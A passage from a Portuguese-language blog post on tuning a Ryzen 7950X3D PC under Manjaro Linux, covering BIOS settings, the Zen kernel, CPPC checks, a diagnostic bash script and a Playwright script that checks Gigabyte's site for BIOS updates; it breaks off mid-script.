<p><strong>70/80/90</strong> se refere à temperatura máxima que permitimos os cores de chegarem. Isso vai depender se você tem uma boa solução de resfriamento. Seja um AIO com resfriamento líquido ou um <a href="https://noctua.at/en/nh-d15-g2"target="_blank" rel="noopener"><strong>Noctua NH-D15 G2</strong></a> que é o que eu uso. Ventoinhas da Noctua são hiper silenciosas, eu quase nunca ouço e tem menos manutenção e possibilidade de falhas do que refriamento líquido. Eu prefiro menos peças móveis pra garantir.</p>
<p>[<img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4d10atf2k9rb5pntb9eec5uzqk7u" alt="Noctua NH-D15 G2"  loading="lazy" /></p>
<p>Agora esses <strong>Level 1 a 5</strong> são as tunagens de PPT/TDC/EDC que eu falei, mas já pré-definidas e testadas pelo fabricante. 1 é menos agressivo, o mais estável já 5 é o mais agressivo, pode ser instável. O certo é começar em <strong>90 level 5</strong> e ir diminuindo até achar o mais estável pro seu sistema. Isso vai variar, por exemplo, quando mais RAM tiver, menos agressivo parece que pode ser, especialmente quanto mais rápido essa RAM for.</p>
<p>No meu caso, logo no boot do meu Manjaro Linux, já deu kernel panic, que se parece com algo assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/f25kqct9urmereleunhurknw40d4" alt="kernel panic"  loading="lazy" /></p>
<p>Então voltei pra BIOS e fui testando diferentes níveis e, pra minha configuração, consegui chegar só até <strong>90 Level 2</strong>. Esse tem sido estável e até agora não tive nenhum crash aleatório.</p>
<p>Além disso, recentemente (começo de 2025) fabricantes de placa-mãe soltaram atualizações de firmware que abriram acesso a uma funcionalidade chamada <strong>X3D Turbo Mode</strong>. Se você ver isso, não pense que é mais performance grátis. Na realidade, a menos que use a máquina mais pra games, vai sentir até que ela ficou mais lenta.</p>
<p>Como expliquei antes, Ryzen 9 tem 1 CCD (core complex), que é o die com 96MB de cache L3 (V-Cache). Turbo mode tenta forçar mais programas pro CCD que <strong>NÃO</strong> tem V-Cache (o de 32MB), e que por isso consegue ter um boost maior de clock mas tem mais latência. Isso é bom pra games - que normalmente não se beneficiam de ter mais cache e sim mais clock.</p>
<p>Mas ao mesmo tempo, programas que precisam do V-Cache vão acabar caindo mais vezes no Core com <strong>MENOS</strong> cache L3 e aí vão performar pior que antes. Exemplos disso são programas de modelagem 3D como Blender, justamente o que eu quero usar mais agora. Por isso teste, mas em princípio pode deixar desligado.</p>
<p>Essa opção no meu firmware se chama &ldquo;X3D Turbo Mode&rdquo; mas em outros lugares pode ser &ldquo;3D V-Cache Performance Optimizer&rdquo;, é a mesma coisa.</p>
<h2>XMP/EXPO RAM<span class="hx:absolute hx:-mt-20" id="xmpexpo-ram"></span>
    <a href="#xmpexpo-ram" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora, a RAM DDR5 boota no clock base de uns 4.8Ghz. Mas dependendo do modelo da RAM ela pode ir muito mais, no meu caso pra 6Ghz. Toda memória moderna também tem diversas configurações como a frequência, latência, voltagem e mais. De novo, não vale a pena tentar parametrizar isso na mão. É melhor usar perfis pré-definidos (profiles). A Intel chama esse suporte de <strong>XMP</strong> e a AMD chama de <strong>EXPO</strong>.</p>
<p>Esqueci de tirar foto da minha BIOS, mas essa foto do Google Images um pouco mais antiga é a mesma coisa. XMP/EXPO vem desligado (conservador) mas é só escolher o profile que já existe:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/ypwo0rsbr1bmu6w6ujm7b1qyjlof" alt="XMP/EXPO Profile"  loading="lazy" /></p>
<p>Note que logo embaixo tem coisas como <strong>Low Latency Support</strong> e <strong>High Bandwidth Support</strong>. Teoricamente pra diminuir a latência e aumentar a banda de transferência. Tudo que soa muito bom, mas no meu caso não funciona. Se eu tento ligar esses dois, meu sistema não dá boot. Fui obrigado a limpar a CMOS pra reiniciar a BIOS sem isso.</p>
<p>O problema: possivelmente muita memória (96GB). Talvez se você tiver menos, 32GB, por aí, isso funcione, mas parece que quanto mais se tem, mais instável fica se tenta ir rápido demais.</p>
<p>Outro problema, em DDR5, quanto mais memória, mais lento é o Cold Boot, o boot inicial quando o PC estava desligado. A BIOS precisa fazer uma checagem nas memórias pra garantir esses parâmetros, tempo de resposta e tudo mais. E isso acontece em <strong>TODO</strong> boot. Pode levar alguns minutos e alguns podem achar até que a máquina travou, mas é só essa checagem.</p>
<p>Na BIOS tem uma opção chamada <strong>Memory Context Restore</strong> onde ele usa os parâmetros que gravou da última vez que fez essa checagem. Mas não recomendo, pra mim inclusive nem boota mais depois de habilitar isso. Teoricamente ele iria cortar o tempo de checagem e reusar dados antigos, mas esses dados podem não bater (os valores podem flutuar) e isso torna o sistema todo instável. Melhor esperar um minuto a mais no boot do que ficar com o sistema instável.</p>
<p>Em configurações avançadas de memória tem mais uma coisa que devemos mexer: <strong>DF C-States</strong>, que precisa estar <strong>DESABILITADO</strong>. Em teoria essa funcionalidade é pra reduzir a latência entre CPU e memória. Mas em sistemas com muita RAM (96GB ou mais como a minha) isso também pode causar instabilidade a custo de não muito ganho notável. Prefiro ficar estável nesse caso.</p>
<p>Outra configuração pra mudar é <strong>Power Supply Idle Control</strong> tem que mudar pra &ldquo;Typical Current Idle&rdquo;, e até agora (pode surgir um update de correção da firmware), é mandatório pra processadores Ryzen (mesmo AM5). isso previne estado de dormir &ldquo;Deep Power State&rdquo;, o que pode causar kernel panics aleatórios.</p>
<p>Mesma coisa pra <strong>Global C-State Control</strong> que também precisa desabilitar pelo mesmo motivo: evitar &ldquo;deep sleep states&rdquo; (C6/C10) quando a CPU fica em &ldquo;idle&rdquo; (sem fazer nada) por muito tempo. Essas funcionalidades existem pra economizar energia, mas parece que AMD tem bugs quando a CPU é forçada a esse estado e quando acorda, volta instável ou crasheando. Então ele vai consumir mais energia quando não tá fazendo nada (por volta de menos de 20W, em vez de perto de zero), mas pelo menos não vai ficar instável. Se quiser economizar energia, melhor é dar shut-down e desligar a força mesmo, quando não estiver usando.</p>
<h2>Resumo da BIOS (pra mim)<span class="hx:absolute hx:-mt-20" id="resumo-da-bios-pra-mim"></span>
    <a href="#resumo-da-bios-pra-mim" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>PBO Enhancement: <strong>90 Level 2</strong> (clock boost um pouco mais agressivo que o default)</li>
<li>Power Supply Idle Control: <strong>Typical Current Idle</strong> (prevenir o bug de crash em idle)</li>
<li>Global C-State Control: <strong>Desabilitado</strong> (evita dormir profundo, causando instabilidade)</li>
<li>DF C-States: <strong>Desabilitado</strong> (também evita dormir, melhorando latência da Infinity Fabric)</li>
<li>XMP/EXPO: <strong>Profile XMP1</strong> se tiver (aumenta clock da memória)</li>
</ul>
<p>Tem 2 coisas importantes, especialmente se estiver usando GPUs discretas:</p>
<ul>
<li>Above 4G Decoding e Re-Size Bar Support. No meu caso ambas estão ligadas por padrão, se na sua estiver desligada, ligue.</li>
</ul>
<p>No Linux, dá pra checar se está ligada. Rode o seguinte:</p>
<p><code>sudo lspci -vv | grep -A 15 VGA</code></p>
<p>Tem que aparecer &ldquo;Resizable BAR&rdquo; assim:</p>
<p><code>Capabilities: [XX] PCI Express, ... Resizable BAR: Supported (Enabled)</code></p>
<p>Se não aparecer, vá pra BIOS e procure pra habilitar. Sem isso você não está usando o máximo da sua placa de video. Acho que em iGPUs (que são GPUs que já vem embutida junto com a CPU) aí não tem essa opção mesmo.</p>
<h2>Kernel Linux-Zen<span class="hx:absolute hx:-mt-20" id="kernel-linux-zen"></span>
    <a href="#kernel-linux-zen" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Em sempre estive usando a kernel padrão LTS mais estável, agora era Linux66, se não me engano. Mas lembrei que posso usar a kernel Zen, que é a mesma kernel padrão do Arch com tunings de performance pra melhorar latência, especialmente em multi-thread. Ele muda pro scheduler CFS com melhorias. Teoricamente, melhora a responsividade geral do sistema. Acho que vale a pena usar. No Arch/Manjaro é assim:</p>
<p><code>yay -S linux-zen-versioned-bin linux-zen-versioned-headers-bin</code></p>
<p>Isso vai desinstalar a kernel antiga e, se estiver usando GPUs NVIDIA, também vai desinstalar o pacote de drivers. Por isso precisa instalar o seguinte pacote também:</p>
<p><code>yay -S nvidia-dkms</code></p>
<p>E depois, com tudo instalado, rodar o seguinte comando:</p>
<p><code>sudo dkms autoinstall</code></p>
<p>Isso vai instalar de novo os binários dos drivers da nvidia pro novo kernel Zen. No caso do Manjaro, não precisa mexer no GRUB porque no meu caso ele está configurado pra <code>GRUB_DEFAULT=saved</code> em <code>/etc/default/grub</code>. Isso significa que quando reboota, ele vai gravar qual kernel eu escolhi por último, e no próximo reboot, se eu não escolher nada, vai carregar de novo o último kernel que eu escolhi. Prefiro assim do que deixar &ldquo;hard-coded&rdquo; qual kernel é o padrão.</p>
<p>Feito isso, no próximo boot só checar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>❯ uname -r
6.14.2-zen1-1-zen</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Outra coisa é checar se <strong>CPPC</strong> está ativo. Isso é <strong>Collaborative Processor Performance Control</strong> que é uma funcionalidade que expõe pra kernel do OS um ranking de cores (qual tem boost mais alto, quem tem mais cache, etc). Lembra o X3D Turbo Mode que falei antes? Mesmo conceito: pra facilitar o OS escolher pra qual core mandar qual programa pra rodar melhor.</p>
<p>Nem todo firmware de placa-mãe expõe isso como uma opção, no caso do meu X670E da Gigabyte, ele não existe. Significa que provavelmente já vem ligado por padrão. Pra checar se está ligado, basta ir no terminal do Linux e rodar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>cat /sys/devices/system/cpu/cpu*/cpufreq/amd_pstate_highest_perf</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Se voltar algum resultado, é porque está ligado e o firmware está informando pra kernel sobre as características de cada core, assim o scheduler tem mais informação pra gerenciar pra onde mandar cada thread.</p>
<p>Outra forma de checar:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>ls /sys/devices/system/cpu/cpu0/cpufreq/</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Precisa retornar uma lista contendo nomes como estes:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>amd_pstate_highest_perf
amd_pstate_nominal_perf
amd_pstate_preferred_core</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Que, novamente, é sinal que o Linux está reconhecendo CPPC direito.</p>
<p>O próprio Manjaro, além das kernels estáveis, tem as versões &ldquo;linux-rt&rdquo; que é pra sistemas real-time. Tecnicamente, não só é pra ter latência mais baixa, mas sim latências estáveis e mais previsíveis. <strong>NÃO USE ESSE TIPO DE KERNEL</strong>. Isso é pra sistemas de fábrica ou coisas assim que precisam de determinismo do processamento e não tem tolerância pra latência aleatória. Não significa que vai rodar mais responsivo, pode até ser que rode mais lento, mas o importante é ser um lento previsível.</p>
<p>Outros podem falar da kernel <strong>Linux Liquorix</strong>, que muitos comparam com a Zen. Mas enquanto a Zen é baseada no próprio kernel que o Arch usa, o do Liquorix é baseada na versão de Debian/Ubuntu. Então não é recomendado usar no Arch/Manjaro. Além disso ele é mais experimental e teoricamente menos estável também. Use se estiver num Ubuntu ou derivados da vida. Em Arch, melhor ficar no Zen.</p>
<h2>check_ryzen_perf.sh<span class="hx:absolute hx:-mt-20" id="check_ryzen_perfsh"></span>
    <a href="#check_ryzen_perfsh" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se tiver um sistema Ryzen, copie o seguinte script e rode na sua máquina:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🔍 Verifying Ryzen 7950X3D Tuning on Linux&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPU Driver: &#34;</span>
</span></span><span class="line"><span class="cl">grep . /sys/devices/system/cpu/cpu0/cpufreq/scaling_driver
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ EPP Mode: &#34;</span>
</span></span><span class="line"><span class="cl">cat /sys/devices/system/cpu/cpu0/cpufreq/energy_performance_preference
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ CPPC Detected: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_highest_perf <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Preferred Core Ranking: &#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[</span> -f /sys/devices/system/cpu/cpu0/cpufreq/amd_pstate_prefcore_ranking <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;Yes&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;No&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -n <span class="s2">&#34;✅ Running Kernel: &#34;</span>
</span></span><span class="line"><span class="cl">uname -r
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> -e <span class="s2">&#34;\n✅ All key Linux-side Ryzen tuning options appear active.\n&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Na minha máquina ele agora dá este resultado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>🔍 Verifying Ryzen 7950X3D Tuning on Linux
✅ CPU Driver: amd-pstate-epp
✅ EPP Mode: performance
✅ CPPC Detected: Yes
✅ Preferred Core Ranking: Yes
✅ Running Kernel: 6.14.2-zen1-1-zen

✅ All key Linux-side Ryzen tuning options appear active.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Dizendo que, teoricamente, tudo de performance parece estar ativo e funcionando. Caso um deles não esteja, pergunte ao ChatGPT o que fazer pra sua configuração.</p>
<h2>Checar versão da BIOS<span class="hx:absolute hx:-mt-20" id="checar-versão-da-bios"></span>
    <a href="#checar-vers%c3%a3o-da-bios" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Muitos fabricantes de placa-mãe oferecem software, pra Windows, pra automaticamente baixar e atualizar o firmware. Mas no caso da Gigabyte, não tem suporte pra Linux. Pra checar que versão está instalada agora, sem precisar entrar na BIOS, no Linux tem este comando:</p>
<p><code>sudo dmidecode -s bios-version</code></p>
<p>No meu caso, agora volta F33 (versão de março de 2025). Agora, pra comparar se essa é a versão mais nova, só indo manualmente na porcaria do site da Gigabyte que, no meu caso, é <a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support"target="_blank" rel="noopener">este link</a>. Pro seu modelo específico, e fabricante, lógico, esse link vai variar.</p>
<p><a href="https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-1x/support#support-dl"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/72l1if05q22u1ogowfzws9rtz95j" alt="x670e support page"  loading="lazy" /></a></p>
<p>Pra piorar, parece que o conteúdo é carregado assincronamente por javascript, então se tentar usar <code>wget</code>ou <code>curl</code> pela linha de comando, não vai ter carregado o conteúdo ainda.</p>
<p>Resolvi fazer um script idiota pra resolver isso. Primeiro, caso não use <code>mise</code> como eu (veja meu projeto no Github <a href="https://github.com/akitaonrails/omakub-mj"target="_blank" rel="noopener">Omakub-MJ</a> pra ter um setup igual o meu), instale Node manualmente assim:</p>
<p><code>sudo pacman -S nodejs npm</code></p>
<p>Crie algum diretório pro projeto e de lá faça:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>npm init -y
npm install -g playwright
npx playwright install</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Crie um arquivo <code>check_bios_playwright.js</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">{</span> <span class="nx">chromium</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="s1">&#39;playwright&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">browser</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">chromium</span><span class="p">.</span><span class="nx">launch</span><span class="p">({</span> <span class="nx">headless</span><span class="o">:</span> <span class="kc">true</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">page</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">newPage</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Load support page
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="kr">goto</span><span class="p">(</span><span class="s1">&#39;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">waitUntil</span><span class="o">:</span> <span class="s1">&#39;domcontentloaded&#39;</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Click the BIOS tab manually (it triggers JS to fetch content)
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">click</span><span class="p">(</span><span class="s1">&#39;id=bios-count&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Wait for BIOS version element to load
</span></span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">waitForSelector</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="p">{</span> <span class="nx">timeout</span><span class="o">:</span> <span class="mi">60000</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// Grab the first BIOS version listed
</span></span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">biosVersion</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">page</span><span class="p">.</span><span class="nx">$eval</span><span class="p">(</span><span class="s1">&#39;.div-table-body-BIOS .download-version&#39;</span><span class="p">,</span> <span class="nx">el</span> <span class="p">=&gt;</span> <span class="nx">el</span><span class="p">.</span><span class="nx">innerText</span><span class="p">.</span><span class="nx">trim</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">&#39;🌐 Latest BIOS Version on Gigabyte site:&#39;</span><span class="p">,</span> <span class="nx">biosVersion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">await</span> <span class="nx">browser</span><span class="p">.</span><span class="nx">close</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">})();</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Agora crie um script bash <code>check_bios_update.sh</code> com este conteúdo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get directory of this script (absolute path)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run the Playwright JS script in the same directory</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span>node <span class="s2">&#34;</span><span class="nv">$SCRIPT_DIR</span><span class="s2">/check_bios_playwright.js&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🖥  Current BIOS: </span><span class="nv">$CURRENT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🌐 Latest BIOS:  </span><span class="nv">$LATEST</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ You are up to date.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⬆  BIOS update available!&#34;</span>
